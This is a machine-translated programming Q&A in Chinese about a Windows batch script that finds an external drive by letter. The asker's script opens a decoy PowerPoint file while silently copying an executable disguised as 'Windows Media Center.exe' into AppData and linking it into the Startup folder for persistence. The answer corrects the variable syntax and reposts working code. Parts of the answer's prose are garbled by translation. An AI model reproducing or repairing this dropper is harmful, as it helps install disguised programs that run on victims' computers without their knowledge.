我正在尝试创建一个简单的批处理文件,该文件应该将文件从外部驱动器复制到PC,而不知道驱动器号:
echo off
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (
start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" (
copy "%%s%\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
)
)
PAUSE
我可以成功获取正确的驱动器号,但copy命令会返回此错误:
系统找不到指定的文件
我做错了什么?
答案 0 :(得分:0)
您正在错误地使用FOR /F参数变量,但下面是您可以使用的语法示例,它可以按预期工作,因此它可以按预期工作。
当你使用诸如
%%s
之类的变量时,基本上在FOR循环中 您可以使用它在循环中稍后迭代命令(例如DO %%s
),在中引用它 批处理脚本中的%%s
或%%~s
语法或%s
或%~s
的语法 如果不是作为脚本运行,而是从命令手动运行,则为单个百分号 线。只需省略您附加的附加%
符号即可 变量迭代器所以使用%%s
而不是%%s%
如果你在我提到的变量中使用了波浪号
~
字符 以上只是删除任何周围的引号,以便可能 出现以防万一。
echo on
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
PAUSE